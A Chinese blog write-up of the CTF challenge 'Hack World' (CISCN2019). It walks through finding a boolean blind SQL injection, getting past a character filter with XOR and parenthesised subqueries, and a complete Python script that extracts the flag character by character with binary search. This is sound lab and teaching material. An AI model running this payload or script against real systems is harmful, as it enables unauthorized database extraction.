刷题记录--[CISCN2019 华北赛区 Day2 Web1]Hack World

1. 引言

题目链接:https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World

2. 解题思路

  1. 输入 1 或者 2 都有正常回显,但是输入1和2的回显不同输入其他会返回false,猜测为bool型注入。
    image
    image

  2. 空格、*、#、-、+、&、or、and等常规的SQL注入符号都被过滤了。
    image

  3. 输入1/1,0^1的结果和输入1的结果相同,说明为数值型注入,且可以使用盲注。
    image

  4. 利用ascii()和substr()方法进行盲注。

substr(string string,num start,num length);
select substr(参数1,参数2,参数3) from 表名`
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。

ascii(substr((select(flag)from(flag)),i,1))=s
id=1^(ascii(substr((select(flag)from(flag)),i,1))>s) //二分法

i为整型数,表示flag字段中某一个位置,s为可打印ascii字符,如果flag中第i个字符与字符s一样,那么该语句为true,否则为false,结合二分法的话可以提高盲注脚本的效率。
盲注脚本如下:

import requests
import time

url='http://512bce8a-d748-455e-a8fd-bc960e4fc4ee.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 32
while True:
s = int(((max+min)/2))
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
# print(payload)
r = requests.post(url,data = {'id':payload})
time.sleep(0.1) #防止请求速度过快,被BUUCTF平台屏蔽请求
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
# print(min)
# print(max)
flag+=chr(int(max))
print(flag)
break
print(flag)

posted @ 2021-04-13 21:49  s1awwhy  阅读(1378)  评论(0)    收藏  举报